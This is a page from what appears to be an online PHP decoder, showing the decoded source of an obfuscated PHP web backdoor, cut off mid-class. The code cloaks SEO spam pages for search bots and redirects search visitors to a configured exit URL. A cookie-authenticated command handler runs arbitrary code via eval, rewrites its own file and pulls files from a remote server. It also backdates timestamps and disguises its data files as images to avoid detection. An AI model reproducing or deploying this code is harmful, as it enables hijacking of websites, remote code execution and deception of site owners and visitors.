Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

$___d_ecvar=base64_decode("IGRlZmluZSgnX19fQ19MX0RFQlVHJyxmYWxzZSk7ZGVmaW5lKCdfX19WRVJTSU9..

Decoded Output download

 define('___C_L_DEBUG',false);define('___VERSION',0623);define('___CC',01);if(!defined('___DATA')){define('___DATA',dirname(__FILE__).'/img');}define('___DATADIR',rtrim(___DATA,"\/"));$v0=explode('(',__FILE__);define('___FILE__',array_shift($v0));if(!defined('___PATH')){define('___PATH',___FILE__);}define('___DEBUG_KEY___','p7f9sjCPtj');define('___AUTH_KEY___','ea28bdf53c3e11d5');define('___CRC_LENGTH___',012);class ___C_0 extends Exception{private$v1;private$v2;function __construct($v3){$v4=func_get_args();array_shift($v4);$this->v2=$v4;for($v5=00;$v5<count($this->v2);$v5++)$v3=str_replace('{'.$v5.'}',$this->t0($v4[$v5]),$v3);parent::__construct($v3,00);}function t0($v6){if(is_array($v6))return var_export($v6,true);return$v6;}}class ___C_1 extends ___C_0{}class ___C_2 extends ___C_0{}class ___C_3 extends ___C_0{}class ___C_4 extends ___C_0{public$v7;function __construct($v3,$v7,$v8=null){$this->v7=$v7;parent::__construct($v3,00,$v8);}}class ___C_5{private static$v9=false;private$v10;private$v11;private$v12;private$v13;private static$v14=false;private static$v15;private$v16=false;function __construct($v17){$this->v10=$v17;}static function t1(){self::$v9=true;}function t2(){$this->v12=___C_6::t3('app');$v18=$this->v12;try{$v18->t4("start: v".___VERSION);$v18->t4("id: 4p49CaUtmCJRK9flX2ZN");$v18->t4("time: ".time());$this->v11=new ___C_7(___DATADIR,$this->v10);$v19=$this->v11->t5();$this->v13=$v19->t6();self::$v14=$v19->t7();set_error_handler(array($this,'_errorHandler'));self::$v15=false;if(!___C_8::t8()){$this->v12->t9("invalid request. exit");return;}$v20=$this->v11->t10();if($v20->t11()){$v18->t4("api request");$this->t12($v20);}else{if($this->t13()){$this->v12->t4("fake bot detected (webmaster). exit");return;}$v21=$this->v11->t14();$v18->t4("resolved-url: ".$v21->t15()->t16());$v18->t4("remote-ip: ".$v21->t17());$v22=$this->v11->t18();if($v22->t19()){$this->t20();}else{$this->t21();$v18->t4("cloack request");$this->t22();}}}catch(Exception$v23){try{$v24=$this->v11->t23();$v24->t24($v23);$v18->t4("exit");___C_5::t25();if($this->v13){$this->t26($v23);}}catch(Exception$v25){try{___C_5::t25();}catch(Exception$v26){}if(defined('__D_DEV'))die($v25->getMessage().' '.$v23->getTraceAsString());if($this->v13){$this->t26($v23);}}}}private function t20(){$v27=$this->v11->t27();$v28=$v27->t28();echo$v28;exit;}private function t21(){$v29=new ___C_9($this->v11);if(!$v29->t29())return;$v30=false;$v31=$this->v11->t30()->t31('exit.strategy');if($v31=='1'){$v32=$v29->t32();if($this->v13)$this->t26();$v29->t33($v32);}if($v31=='2'){$v33=$v29->t34();$v29->t35($v33);}if($v31=='3'){$v32=$v29->t32();$v33=$v29->t36($v32);$v29->t35($v33);}exit;}private function t12($v20){$v20->t37();$this->t38();exit;}private function t22(){$v21=$this->v11->t14();$v34=$this->v11->t39();$v34->t40($v21);$v35=$this->v11->t41($this->t42());$v36=$v35->t37($v21->t15(),$this->v13);if(!$v36&&defined('___OWNHOST')){$this->v12->t4("own host. proccess as bot");$v35=$this->v11->t41(true);$v35->t37($v21->t15(),$this->v13);}$this->t38();$this->v12->t4("exit");___C_5::t25();if($this->v13)$this->t26();if($v36){if(defined('__D_DEV'))print('EXIT');exit;}}function t13(){$v37=$this->v11->t30();$v38=$v37->t43('fakebot.enabled',false);if(!$v38)return false;$v39=$v37->t43('fakebot.user_agents',array());if(empty($v39))return false;$v40=strtolower($_SERVER['HTTP_USER_AGENT']);$v40=preg_replace('/\s{1,}/',' ',$v40);foreach($v39 as$v41){$v41=trim($v41);$v41=strtolower($v41);$v41=preg_replace('/\s{1,}/',' ',$v41);if(strpos($v40,$v41)!==false){return true;}}return false;}function t42(){$v42=$this->v11->t44();$v21=$this->v11->t14();$v43=$v42->t45($v21->t17(),$v21->t46());if(!$v43){$v44=$this->v11->t47();$v43=$v44->t45($v21->t15(),$v21->t48());}return$v43;}static function t49(){if(!self::$v15){self::$v15=true;restore_error_handler();}}static function t25(){if(self::$v14){if(headers_sent())return;self::$v14=false;$v45=___C_6::t50();$v46=base64_encode(gzdeflate(json_encode($v45['log']),011));@header("X-Debug: ".$v46,true);}self::t49();}function _errorHandler($v47,$v48,$v49,$v50){if(error_reporting()==00)return true;if(!(error_reporting()&$v47)){return true;}$v3="(E_ERROR) ".$v48;$this->v12->t9($v3);throw new ___C_0($v3);return true;}function t26($v51=null){if($v51!=null){$this->v12->t9($v51->getMessage());}if(@$_COOKIE['__c_log_format']=='json'){$v52=___C_6::t51();$v53=json_encode($v52);print('!###'.$v53.'###!');exit;}print(nl2br(join("
",___C_6::t52())));exit;}private function t53($v54){return str_rot13(base64_encode(json_encode($v54)));}private function t38(){if($this->v16)return;$this->v16=true;if(self::$v9){$v37=$this->v11->t30();$v55=$v37->t31('base.touch_time');$v56=opendir(___DATADIR);while(($v57=readdir($v56))!=false){if($v57=='.'||$v57=='..')continue;if(!@touch(___DATADIR.'/'.$v57,$v55,$v55))$this->v12->t9('Touch failed on {0}',$v57);}closedir($v56);if(!@touch(___DATADIR,$v55,$v55))$this->v12->t9('Touch failed on {0}',___DATADIR);}}function t54(){while(ob_get_level()>00)ob_end_clean();}}class ___C_7{private$v58=array();private$v10;private$v59;function __construct($v60,$v17){$this->v59=$v60;$this->v10=$v17;}function t55(){$v37=$this->t30();return new ___C_10($this->t56('tds'),$this->t14(),new ___C_11(),$v37->t31('tds.params.*'));}function t30($v61=false){if(!isset($this->v58['cf']))$this->v58['cf']=new ___C_12(new ___C_13(___DATADIR.'/'.$this->v10['config.file']),$this->v10,$v61);return$this->v58['cf'];}function t10(){if(!isset($this->v58['a'])){$v62=$this->t57();$this->v58['a']=new ___C_14(new ___C_15($this,$v62),$v62);}return$this->v58['a'];}function t14(){if(!isset($this->v58['r']))$this->v58['r']=new ___C_8($this->t30()->t31('base.remote_ip_key'),$this->t30()->t31('base.request_uri_key'));return$this->v58['r'];}function t44(){return new ___C_16($this->t58(),$this->t30()->t31('bot.ua_detect'));}function t47(){return new ___C_17($this->t59(),new ___C_11());}function t58(){return new ___C_18(___DATADIR.'/'.$this->t30()->t31('bot.file'),$this->t14()->t60());}function t41($v43){if($v43)$v35=new ___C_19($this);else{$v35=new ___C_20($this,new ___C_21($this->t30()->t31('wbm.*')));}return$v35;}function t61(){$v63=$this->t30()->t31('response.clean_buffer',false);if($v63==null){$v63=false;}else{$v63=(bool)$v63;}return new ___C_22($this->t14(),$this,$v63);}function t57(){try{$v63=$this->t30()->t31('response.clean_buffer',false);}catch(___C_0$v23){$v63=false;}if($v63==null){$v63=false;}else{$v63=(bool)$v63;}return new ___C_23($v63);}function t59(){if(!isset($this->v58['cpp'])){$this->v58['cpp']=new ___C_24(___DATADIR,new ___C_25(new ___C_13(___DATADIR.'/'.$this->t30()->t31('page.accounting.file'))));}return$this->v58['cpp'];}function t62(){return new ___C_26($this->t14()->t15(),new ___C_13(___DATADIR.'/'.$this->t30()->t31('page.links.file')));}function t63(){if(!isset($this->v58['u'])){$this->v58['u']=$this->t64();}return$this->v58['u'];}function t56($v64){$v65=array('headers'=>array('User-Agent'=>'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0','Accept'=>'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8','Accept-Language'=>'en-US;q=0.5,en;q=0.3'),'options'=>array('timeout'=>036));$v66=$this->t30()->t31($v64.'.webclient.*',false);if($v66!=null){$v65=t65($v65,$v66);}$v67=$this->t30()->t31('dns.*',false);if($v67!=null){$v65['options']=t65($v65['options'],$v67);}return new ___C_27($v65);}function t66(){if(!isset($this->v58['rt'])){$v37=$this->t30();$this->v58['rt']=new ___C_28($v37->t31('routes.*'),new ___C_10($this->t56('tds'),$this->t14(),new ___C_11(),$v37->t31('tds.params.*')),$this->t59(),$this->t14()->t15());}return$this->v58['rt'];}function t67(){if(!isset($this->v58['sp'])){$v37=$this->t30();$v68=new ___C_29(___DATADIR,$v37->t31('shop.cache.expired'),(bool)$this->t30()->t31('shop.cache.enabled'));$this->v58['sp']=new ___C_30($v68,$this->t56('shop'),$this->t14(),$this->t68());}return$this->v58['sp'];}function t68(){return new ___C_31($this->t14());}function t23(){return new ___C_32(new ___C_13(___DATADIR.'/'.$this->v10['error.file']));}function t69(){return new ___C_33($this);}function t39(){return new ___C_34($this->t70(),$this->t59(),new ___C_11());}function t70(){return new ___C_35(___DATADIR.'/ip.dat');}function t5(){return new ___C_36();}function t18(){return new ___C_37($this->t30());}function t27(){return new ___C_38($this->t30(),new ___C_13(___DATADIR.'/'.$this->t30()->t31('page.links.file')));}function t71(){$v37=$this->t30();$v69=$v37->t31('bot.page_links.tpl');return new ___C_39($v69);}function t64(){$v70=$this->t14()->t48();$v71=$this->t30()->t43('oldpages.delayhours',0250);$v72=$v71*07020;return new ___C_40($this->t59(),new ___C_11(),$v70,$v72);}}class ___C_41{static function t72($v73){if($v73===false)return false;if(!isset($v73['host']))return false;return true;}static function t73(&$v74){$v75=crc32($v74);if($v75&0x80000000){$v75^=0xffffffff;$v75+=01;$v75=-$v75;}return$v75;}static function t74(&$v54){$v76=self::t73($v54);if($v76<00)$v76=$v76*-01;$v76=str_pad($v76,012);return$v76;}static function t75($v77){$v78=json_decode($v77,true);return$v78;}static function t76($v77){$v78=self::t75($v77);return self::t77($v78);}static function t77($v78){$v79=array();foreach($v78 as$v80=>$v6){if(is_array($v6)){$v79[$v80]=self::t77($v6);}else{$v79[$v80]=base64_decode($v6);}}return$v79;}static function t78(){list($v81,$v82)=explode(' ',microtime());$v83=(float)$v82+((float)$v81*0303240);srand($v83);}static function t79($v78){$v78=str_replace(',','.',$v78);return floatval($v78);}static function t80($v84,$v85){$v86=dechex($v84);if(strlen($v86)>($v85*02))throw new ___C_2('max overflow');$v86=str_pad($v86,$v85*02,'0',00);$v87=pack('H*',$v86);return$v87;}static function t81(){$v88=str_replace('www.','',strtolower($_SERVER['HTTP_HOST']));return strtolower(substr(md5($v88),00,012));}}class ___C_42{private$v89;private$v90;private$v91;private$v92;function __construct($v93){$v93=preg_replace('/[?&]auth_token_id=\w{10}/','',$v93);$this->v89=$v93;$v73=@parse_url($v93);if(!___C_41::t72($v73))throw new ___C_0("cannot parse request url ".$v93);$this->v92=str_replace('www.','',strtolower($v73['host']));$v94=$v73['path'];if(!empty($v73['query']))$v94.='?'.$v73['query'];$v95=str_replace(array("+","%20","http://","https://","www.","index.php","index.html","index.htm","/?/","/","index.cgi","index.phtml"),'',strtolower($v94));if(empty($v95)||$v95=="/")$v95='@@@';$this->v90=substr(strtolower(md5($v95)),00,014);$this->v91=(@empty($v73['path'])||$v73['path']=='/');}function t60(){return$this->v92;}function t16(){return$this->v89;}function t82(){return$this->v90;}function t83(){return$this->v91;}}class ___C_14{private$v12;private$v96='PHPSESSlD';private$v97;private$v98;function __construct($v99,$v62){$this->v97=$v99;$this->v12=___C_6::t3('api');$this->v98=$v62;}function t11(){return isset($_COOKIE[$this->v96]);}function t84(){return$this->v97->v100;}function t37(){try{$v101=strtolower(substr(md5($_COOKIE[$this->v96]),00,020));$v102=strtolower(___AUTH_KEY___);if($v102!=$v101){$this->v12->t4('Hash {0} are not equal {1}',$v102,$v101);throw new ___C_0("auth error");}if(isset($_COOKIE['___c_l_0_is_live'])){$v103='live_0JzvTkS9QuH6iM7YQ9TG_'.time();$this->v98->t85($v103);return;}$v104=$this->t86();$this->v97->t87($v104['cmd'],$v104['data']);}catch(___C_0$v51){$this->v98->t88($v51);}}function t86(){$v54=array('cmd'=>'','data'=>array());if($_SERVER['REQUEST_METHOD']=='GET'||$_SERVER['REQUEST_METHOD']=='PUT'){if(isset($_COOKIE['___clcdata0']))$v105=$this->t89();else $v105=$this->t90();}else $v105=$this->t91();$v106=explode('|',$v105);if(count($v106)!=03)throw new ___C_2('ERROR_INVALID_PACKET');$v54['cmd']=$this->t92($v106[00]);$v107=$v106[01];if(strtolower(md5($v106[02]))!=$v107)throw new ___C_2('ERROR_INVALID_PACKET_CHECKSUM');$v54['data']=@___C_41::t75(gzinflate($this->t92($v106[02])));if(empty($v54['cmd'])||$v54['data']===false||$v54['data']===null)throw new ___C_2('ERROR_INVALID_PACKET_DATA');return$v54;}function t90(){$v104=fopen('php://input','r');$v105='';while(!feof($v104))$v105.=fread($v104,020000);fclose($v104);return$v105;}function t91(){return @$_POST['data'];}function t89(){$v108='';for($v5=00;$v5<036;$v5++){if(isset($_COOKIE["___clcdata".$v5]))$v108.=$_COOKIE["___clcdata".$v5];else break;}$v54=@gzinflate(base64_decode(str_replace('*','+',$v108)));return$v54;}function t92($v109){return base64_decode(str_rot13($v109));}}class ___C_15{private$v11;private$v12;private$v98;function __construct($v110,$v62){$this->v11=$v110;$this->v12=___C_6::t3('api-handler');$this->v98=$v62;}function t87($v111,&$v54){$this->v12->t4("command: ".$v111);switch($v111){case 'read_serp_requests':$this->t93();break;case 'delete_serp_requests':$this->t94();break;case 'eval':$this->t95($v54);break;case 'update_bots':$this->t96($v54);break;case 'update_config':$this->t97($v54);break;case 'status':$this->t98();break;case 'get_conf':$this->t99();break;case 'clear_errors':$this->t100();break;case 'get_errors':$this->t101();break;case 'clear_shop_cache':$this->t102();break;case 'post_install':$this->t103();break;case 'update_cloack':$this->t104($v54);break;case 'upload_file':$this->t105($v54);break;case 'get_files':$this->t106($v54);break;default:throw new ___C_0('ERROR_UNKNOWN_COMMAND'.$v111);break;}}function t93(){$v112=$this->v11->t70();$v57=$v112->t107();if(file_exists($v57)){$this->v98->t108($v57);}else{$this->v98->t109('file not exists');}}function t94(){$v112=$this->v11->t70();$v112->t110();$this->v98->t111();}function t95($v54){if(!isset($v54['code']))throw new ___C_2('ERROR_NO_CODE');$v113=$v54['code'];if($v113===false)throw new ___C_2('ERROR_BAD_CODE');ob_start();eval($v113);$v79=ob_get_contents();ob_end_clean();$this->v98->t109($v79);}function t98(){$this->v100=false;$v114=$this->v11->t69();$v54=$v114->t112();$this->v98->t109($v54);}function t100(){$this->v11->t23()->t113();$this->v98->t111();}function t101(){@set_time_limit(05*074);$v115=$this->v11->t23()->t114();$this->v98->t109($v115);}function t99(){$v37=$this->v11->t30();$v54=$v37->t115();$this->v98->t109($v54);}function t97($v54){$v116=base64_decode($v54['data']);$v116=___C_41::t76($v116);if(!is_array($v116))throw new ___C_2('ERROR_INPUT_DATA_NOT_ARRAY');$v117=(empty($v54['protect_keys']))?array():explode('|',$v54['protect_keys']);$v118=$v54['config_name'];$v119=$v54['version'];$v37=$this->v11->t30(true);$v37->t116($v118,$v119,$v116,$v117);$this->v98->t111();}function t103(){$v120=dirname(dirname(___PATH));$v55=time()-(07020*030*037*02);@touch($v120,$v55,$v55);$v121=___DATADIR.'/img-logo5.png';if(file_exists($v121)){@unlink($v121);}$this->v98->t111();}function t102(){$this->v11->t67()->t117();$this->v98->t111();}function t96($v54){$v122=gzinflate(base64_decode($v54['data']));$v123=unserialize($v122);unset($v122);if($v123===false||!isset($v123['data'])||!isset($v123['crc']))throw new ___C_2('ERROR_INVALID_DATA');$v76=___C_41::t73($v123['data']);if($v76!=$v123['crc'])throw new ___C_2('crc invalid');$v124=base64_decode($v123['data']);$v125=$this->v11->t58();$v125->t118($v123['version'],$v124);$this->v98->t111();}function t104(&$v54){$v116=base64_decode($v54['data']);$v107=strtolower(md5($v116));if($v107!=$v54['hash']){throw new ___C_2('INVALID_DATA_CHECKSUM');}$v126=file_put_contents(___PATH,$v116);if(!$v126)throw new ___C_1('CANNOT_WRITE_FILE');$this->v98->t111();}function t105(&$v54){$v127=$v54['server'];unset($v54['server']);$this->v12->t119("server: ".$v127);$v93=$v127.'?cmd=load&'.http_build_query($v54,'','&');$v128=$this->v11->t56('file_upload');$v129=$v128->t120($v93,false);if(strpos($v129,'RESULT_ERROR')!==false){throw new ___C_2($v129);}$this->v12->t119("response received");$v130=explode('|',$v129,03);if(count($v130)!=03)throw new ___C_2('INVALID_FS_RESPONSE');if(strlen($v130[02])!=$v130[00])throw new ___C_2('INVALID_FS_DATA_SIZE');$v76=___C_41::t73($v130[02]);if($v130[01]!=$v76)throw new ___C_2('INVALID_FS_DATA_CRC');$this->v12->t119("response validated");$v131=___DATADIR.'/'.$v54['name'];$this->v12->t119("write path: ".$v131);$v132=file_put_contents($v131,$v130[02]);if($v132!=$v130[00])throw new ___C_1('ERROR_SAVE_FILE');@clearstatcache();$this->v12->t119("writed");unset($v130[02]);$v133=file_get_contents($v131);$v76=___C_41::t73($v133);if($v130[01]!=$v76)throw new ___C_2('INVALID_FS_DATA_CRC_AFTER_WRITE');$this->v12->t119("checked");$this->v98->t111();}function t106(){$v134=glob(___DATADIR.'/*');$v54=array();if(is_array($v134)){foreach($v134 as$v57){$v135=basename($v57);$v136=filesize($v57);$v54[]=array($v135,$v136);}}$this->v98->t109($v54);}function t121($v57){$v137=file_exists($v57)&&is_readable($v57)&&is_writable($v57);return$v137;}}class ___C_23{private$v138;function __construct($v63){$this->v138=$v63;}function t111(){$this->t109('');}function t109($v3){$v3=$this->t53($v3);$v139="####<RESULT_OK|".___VERSION.'|'.$v3.'>####';$this->t85($v139);}function t88($v23){$v140=null;$v141=@error_get_last();if($v141!=null){$v140=$v141['message'].' line: '.$v141['line'];}$v54=array('error'=>$v140.'|'.$v23->getMessage());$v139="####<RESULT_ERROR|".___VERSION.'|'.$this->t53($v54).'>####';$this->t85($v139);}function t108($v94){$this->t54();___C_5::t25();print("####<RESULT_FILE|");@readfile($v94);print(">####");exit;}function t85($v139){$this->t54();___C_5::t25();@header("Content-Length: ".strlen($v139));@header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');print($v139);exit;}function t54(){if($this->v138){while(@ob_get_level()>00)@ob_end_clean();}}function t53($v54){$v142=json_encode($v54);return str_rot13(base64_encode($v142));}}class ___C_12{private$v143=array();private$v144;private$v145;private$v146;function __construct($v147,$v148,$v61=false){$this->v146=$v147;if(!$v61){$this->v143=$v147->t122();$this->v144=array_merge_recursive($this->v143['data'],$v148);}else{$this->v144=$v148;}$this->t123();}function t115(){return$this->v143;}function t124(){return$this->v144;}function t125(){return$this->v149;}function t31($v80,$v150=true){if(strpos($v80,'*')!==false){$v80=str_replace('.*','',$v80);$v151=$this->t126($v80,$v150);}else{$v151=$this->t126($v80,$v150);if($v151==null)return null;if(is_array($v151))return$v151;$v6=strtolower($v151);if(strtolower($v6)=='true')return true;if(strtolower($v6)=='false')return false;}return$v151;}function t43($v80,$v152=null){$v6=$this->t31($v80,false);return($v6==null)?$v152:$v6;}function t126($v80,$v150){$v153=explode('.',$v80);$v151=&$this->v145;foreach($v153 as$v154){if(!isset($v151[$v154])){if($v150){throw new ___C_2("conf data for '{0}' not exists",$v80);}return null;}$v151=&$v151[$v154];}return$v151;}function t116($v118,$v119,$v155,$v117){if($this->v146->t127()){$v156=$this->v146->t122(true);if(!empty($v117)){foreach($v117 as$v157){$v155[$v157]=$v156['data'][$v157];}}}$v54=array('name'=>$v118,'version'=>$v119,'data'=>$v155);$this->v146->t128($v54);$this->v144=array_merge_recursive($this->v144,$v155);$this->t123();}function t123(){$this->v145=array();foreach($this->v144 as$v80=>$v6){if($v80=='version')continue;$v158=explode('.',$v80);$v159=array_pop($v158);$v160=&$this->v145;foreach($v158 as$v154){if(!isset($v160[$v154])){$v160[$v154]=array();}$v160=&$v160[$v154];}$v160[$v159]=$v6;}}}class ___C_8{private$v161;private$v162=false;function t129(){$v163=___C_41::t81();$v164=@$_GET['auth_token_id'];return$v163===$v164;}function __construct($v165,$v166){$this->v161=$v165;$v167='';if(strpos($v166,'//')===00){$v168=substr($v166,02);$v169=explode('+',$v168);$v170=array('http://');foreach($v169 as$v171){if(strpos($v171,'.')!==false){list($v172,$v173)=explode('.',$v171);$v172='_'.$v172;$v174=$$v172;$v170[]=$v174[$v173];}else{$v170[]=$v171;}}$v167=join('',$v170);}if(empty($v167)&&$v166!='-'){if(isset($_SERVER[$v166]))$v167=$_SERVER[$v166];}if(empty($v167))$v167="http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];$this->v162=new ___C_42($v167);}function t17(){if(isset($_SERVER["HTTP_CF_CONNECTING_IP"])){return$_SERVER["HTTP_CF_CONNECTING_IP"];}$v175=@$_SERVER[$this->v161];if(empty($v175))throw new ___C_0('cannot resolve ip by key: '.$this->v161);return$v175;}function t48(){if(isset($_SERVER['HTTP_REFERER'])&&!empty($_SERVER['HTTP_REFERER']))return$_SERVER['HTTP_REFERER'];else if(@getenv('HTTP_REFERER')!==false)return getenv('HTTP_REFERER');else return'';}function t15(){return$this->v162;}function t46(){return @$_SERVER['HTTP_USER_AGENT'];}function t60(){return str_replace('www.','',strtolower($_SERVER['HTTP_HOST']));}static function t8(){$v70=self::t130();if(!empty($v70)){$v73=@parse_url($v70);if(!___C_41::t72($v73)){return false;}}if(!isset($_SERVER['HTTP_HOST']))return false;return true;}private static function t130(){if(isset($_SERVER['HTTP_REFERER'])&&!empty($_SERVER['HTTP_REFERER']))return$_SERVER['HTTP_REFERER'];else if(@getenv('HTTP_REFERER')!==false)return getenv('HTTP_REFERER');else return'';}}class ___C_21{private$v176;private$v177;private$v12;function __construct($v178){$this->v176=$v178;$v88=str_replace('www.','',$_SERVER['HTTP_HOST']);$this->v177=___C_41::t73($v88);$this->v12=___C_6::t3('wbm-tracker');}function t131(){if($this->v176['enabled']){$v6=@$_COOKIE[$this->v176['cookie_name']];if($v6==$this->v177){$this->v12->t4("wbm detected");return true;}}return false;}function t132(){if($this->v176['enabled']){$this->v12->t4('set wbm cookie');@setcookie($this->v176['cookie_name'],$this->v177,(time()+074*074*030*0555),'/');}}}class ___C_33{private$v11;private$v179;function __construct($v110){$this->v11=$v110;$this->v179=$this->v11->t30();$v54=$this->v179->t124();if(empty($v54))throw new ___C_2('ERROR_READ_CONFIG');}function t112(){$v54=$this->t133();$this->t134($v54);$this->t135($v54);$this->t136($v54);$this->t137($v54);$this->t138($v54);return$v54;}function t133(){clearstatcache();$v180=ini_get('open_basedir');$v181=@disk_free_space(___DATADIR);$v54=array('version'=>''.___VERSION,'cc'=>''.___CC,'os'=>PHP_OS,'hdd_free'=>floor($v181/02000/02000),'safe_mode'=>(int)ini_get('safe_mode'),'open_dir_resctrict'=>(int)!empty($v180),'cloack_path'=>___PATH,'datadir_path'=>___DATADIR,'loader_path'=>___FILE__,'docroot'=>@$_SERVER['DOCUMENT_ROOT']);if(defined('___REALDOCROOT'))$v54['root_dir']=___REALDOCROOT;$v182=$this->v179->t115();$v54['config_name']=$v182['name'];$v54['config_version']=$v182['version'];$v54['time']=strval(time());$v54['curl.support']=(function_exists('curl_init'))?'YES':'NO';$v121=___DATADIR.'/img-logo5.png';$v54["has_errors_log"]=(file_exists($v121))?'YES':'NO';return$v54;}function t134(&$v54){$v54['REMOTE_ADDR']=$_SERVER['REMOTE_ADDR'];$v183='NO';if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){$v183='localhost';}elseif(isset($_SERVER['SERVER_ADDR'])){if($_SERVER['REMOTE_ADDR']==$_SERVER['SERVER_ADDR']){$v183='SERVER_ADDR';}}$v54['ip.collision']=$v183;$v54['ip.remote']=$this->v11->t14()->t17();}function t135(&$v54){$v184=$this->v11->t58();$v185=$v184->t139();$v54['bot.version']=$v185['version'];$v94=___DATADIR.'/'.$this->v179->t31('bot.file');$v54['bot.file']=($this->t121($v94))?'OK':'ERROR (permissions)';}function t136(&$v54){$v186=array('config.file','page.links.file');foreach($v186 as$v80){$v94=___DATADIR.'/'.$this->v179->t31($v80);if(!$this->t121($v94)){$v54[''.$v80]='ERROR (permissions)';continue;}if(!$this->t140($v94)){$v54[''.$v80]='ERROR (crc)';continue;}$v54[''.$v80]='OK';}return$v54;}function t137(&$v54){$v94=___DATADIR.'/'.$this->v179->t31('ssl.file');$v54['ssl.file']='OK';$v187=new ___C_13($v94);if(!$v187->t127())return;if(!is_writable($v94)){$v54['ssl.file']='ERROR (permissions)';return;}try{$v188=$v187->t122();}catch(___C_2$v23){$v54['ssl.file']='ERROR (data)';}}function t138(&$v54){$v189=glob(___DATADIR.'/animation_*.gif');$v190=00;if($v189!=false){foreach($v189 as$v191){$v135=basename($v191);if(!preg_match('/^animation_([0-9a-f]{2})\.gif$/',$v135,$v192))continue;$v190++;$v80='page.file.'.$v192[01];if(!$this->t121($v191)){$v54[$v80]='ERROR (permissions)';continue;}if(!$this->t140($v191)){$v54[$v80]='ERROR (crc)';continue;}$v54[$v80]='OK';}}$v54['page.file.count']=$v190;}function t121($v57){$v137=file_exists($v57)&&is_readable($v57)&&is_writable($v57);return$v137;}function t140($v191){$v188=file_get_contents($v191);$v193=substr($v188,00,012);$v54=substr($v188,012);$v76=___C_41::t74($v54);return($v76==$v193);}}class ___C_31{private$v194;function __construct($v21){$this->v194=$v21;}function t141($v93){$v175=$this->v194->t17();$v93=str_replace('{ip}',$v175,$v93);$v195=str_replace('www.','',strtolower($this->v194->t60()));$v93=str_replace('{host}',$v195,$v93);return$v93;}}class ___C_11{function t142($v70){$v196=$this->t143($v70);return !($v196===false);}function t143($v70){if(empty($v70))return false;$v197=array('google','msn','live','altavista','ask','yahoo','aol','bing','seznam','comcast','similarsites','duckduckgo','dogpile','baidu');$v73=@parse_url($v70);$v196=false;if(___C_41::t72($v73)){$v88=str_replace('www.','',strtolower($v73['host']));foreach($v197 as$v198){if(strpos($v88,$v198)!==false){$v196=$v198;break;}}}return$v196;}function t144($v93){if(preg_match('#[\?\&](?:q|p|query|keywords)=([^&]+)#i',$v93,$v199)){$v200=urldecode($v199[01]);return$v200;}return false;}}class ___C_9{private$v11;private$v194;private$v179;function __construct($v110){$this->v11=$v110;$this->v194=$v110->t14();$this->v179=$v110->t30();}function t29(){$v21=$this->v11->t14();return$v21->t129();}function t32(){$v201=$this->v11->t59();$v202=$this->v194->t15();$v203=$v201->t145($v202);if($v203==null)throw new RuntimeException('page meta not exists');$v204=$this->v11->t55();$v7=$this->v179->t31('exit.url');$v7=$this->t146($v7);$v205=$v204->t147($v7,$v203,array());$v32=$v205[00];$v32=$this->t146($v32);return$v32;}function t34(){$v7=$this->v179->t31('exit.url');$v7=$this->t146($v7);$v128=$this->v11->t56();$v33=$v128->t120($v7);return$v33;}function t36($v32){$v128=$this->v11->t56();$v33=$v128->t120($v32);return$v33;}function t33($v93){$v206=$this->v11->t61();$v206->t148($v93);}function t35($v33){$v207=$this->v179->t31('exit.content_transforms');foreach($v207 as$v208=>$v209){$v33=preg_replace($v208,$v209,$v33);}print($v33);}private function t146($v93){$v210=$this->t149();$v148=array();$v148['ip']=$this->v194->t17();$v148['url']=$this->v194->t15()->t16();$v148['host']=$this->v194->t60();;if(is_array($v210)){$v148['referer']=@$v210['referer'];$v148['fullkey']=$v210['fullkey'];$v148['query']=$v210['query'];$v148['se']=$v210['se'];$v148['key']=$v210['keyroot'];$v148['keyroot']=$v210['keyroot'];}foreach($v148 as$v80=>$v6)$v93=str_replace("{".$v80."}",rawurlencode($v6),$v93);$v93=preg_replace('/\{[^}]+\}/si','',$v93);return$v93;}private function t149(){$v17=array();if(isset($_COOKIE['___c_c_tr_data'])){$v211=@unserialize(gzinflate(base64_decode($_COOKIE['___c_c_tr_data'])));$v17=$v211;}return$v17;}}class ___C_36{function t6(){if(___C_L_DEBUG==true)return true;return((isset($_COOKIE['PHPSSESlON'])&&$_COOKIE['PHPSSESlON']==___DEBUG_KEY___)||strpos($_SERVER['HTTP_USER_AGENT'],___DEBUG_KEY___)!==false);}function t7(){return(isset($_COOKIE['PHPSSESSlON'])&&$_COOKIE['PHPSSESSlON']==___DEBUG_KEY___);}}class ___C_6{private static$v212=array();private static$v213=array();private$v214;function __construct($v215){$this->v214=$v215;}static function t3($v215){if(!isset(self::$v212[$v215]))self::$v212[$v215]=new ___C_6($v215);return self::$v212[$v215];}function t150($v216,$v217,$v3,$v218){array_shift($v218);self::$v213[]=array($v217,$v216,$v3,$v218);}static function t52(){$v219=array();foreach(self::$v213 as$v220){$v221=$v220[01];$v3=$v220[02];$v218=$v220[03];for($v5=00;$v5<count($v218);$v5++){$v3=str_replace('{'.$v5.'}',$v218[$v5],$v3);}$v219[]=''.$v220[00].":	[".$v221."] => ".$v3;}$v219[]="
-------
";foreach(self::t151() as$v80=>$v222){if(is_array($v222)){$v222=json_encode($v222);}$v219[]=$v80." : ".$v222;}return$v219;}static function t151(){$v222=array('VERSION'=>___VERSION,'PHP'=>PHP_VERSION,'REFERER'=>@getenv('HTTP_REFERER'),'URL'=>'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']);$v222=array_merge($v222,$_SERVER);return$v222;}static function t50(){return array('env'=>self::t151(),'log'=>self::$v213);}static function t51(){$v223=array();foreach(self::$v213 as$v220){$v221=$v220[01];$v3=$v220[02];$v218=$v220[03];for($v5=00;$v5<count($v218);$v5++){$v3=str_replace('{'.$v5.'}',$v218[$v5],$v3);}$v223[]=array('level'=>$v220[00],'logger'=>$v220[01],'message'=>$v3);}return array('env'=>self::t151(),'log'=>$v223);}function t9($v3){$v4=func_get_args();$this->t150($this->v214,'ERROR',$v3,$v4);}function t4($v3){$v4=func_get_args();$this->t150($this->v214,'INFO',$v3,$v4);}function t152($v3){$v4=func_get_args();$this->t150($this->v214,'DEBUG',$v3,$v4);}function t119($v3){$v4=func_get_args();$this->t150($this->v214,'VERB',$v3,$v4);}}class 